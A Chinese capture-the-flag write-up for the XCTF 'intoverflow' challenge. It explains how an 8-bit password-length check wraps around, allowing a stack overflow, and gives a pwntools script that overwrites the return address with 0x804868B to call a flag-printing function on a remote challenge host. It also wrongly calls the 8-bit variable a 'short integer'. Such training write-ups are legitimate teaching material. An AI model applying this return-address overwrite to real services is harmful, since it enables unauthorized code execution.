xctf学习之intoverflow

此题题目为intoverflow,提示整数溢出,IDA阅读伪代码,发现Success条件是输入password长度为[3,8),而要程序中有个函数what_is_this,功能是cat flag,所以要想获取flag,需要让程序运行此函数,而程序的运行并没有调用此函数,因此,必须溢出。存储输入password长度的变量是短整型,即8位二进制数,范围[0,255],当值大于255时,发生溢出,如256=0,而程序读入password的长度位199h,超过了256+8,所以,在256+3到256+7之间的长度都能满足要求。尝试输入长度为262的password,找到返回地址的偏移量,为24,及25-28字节为返回地址,将返回地址覆盖为what_is_this的地址,即输入了flag,exp:

from pwn import *

p=remote('111.198.29.45','44601')

offset=24

payload='a'*24+p32(0x804868B)+'b'*232

p.recvuntil('Your choice:')

p.sendline("1")

p.recvuntil("Please input your username:\n")

p.sendline("A")

print p.recvuntil("Please input your passwd:\n")

p.sendline(payload) 

print p.recv()

print p.recv()

发布了23 篇原创文章 · 获赞 1 · 访问量 1082

猜你喜欢

转载自blog.csdn.net/neuisf/article/details/103940846
今日推荐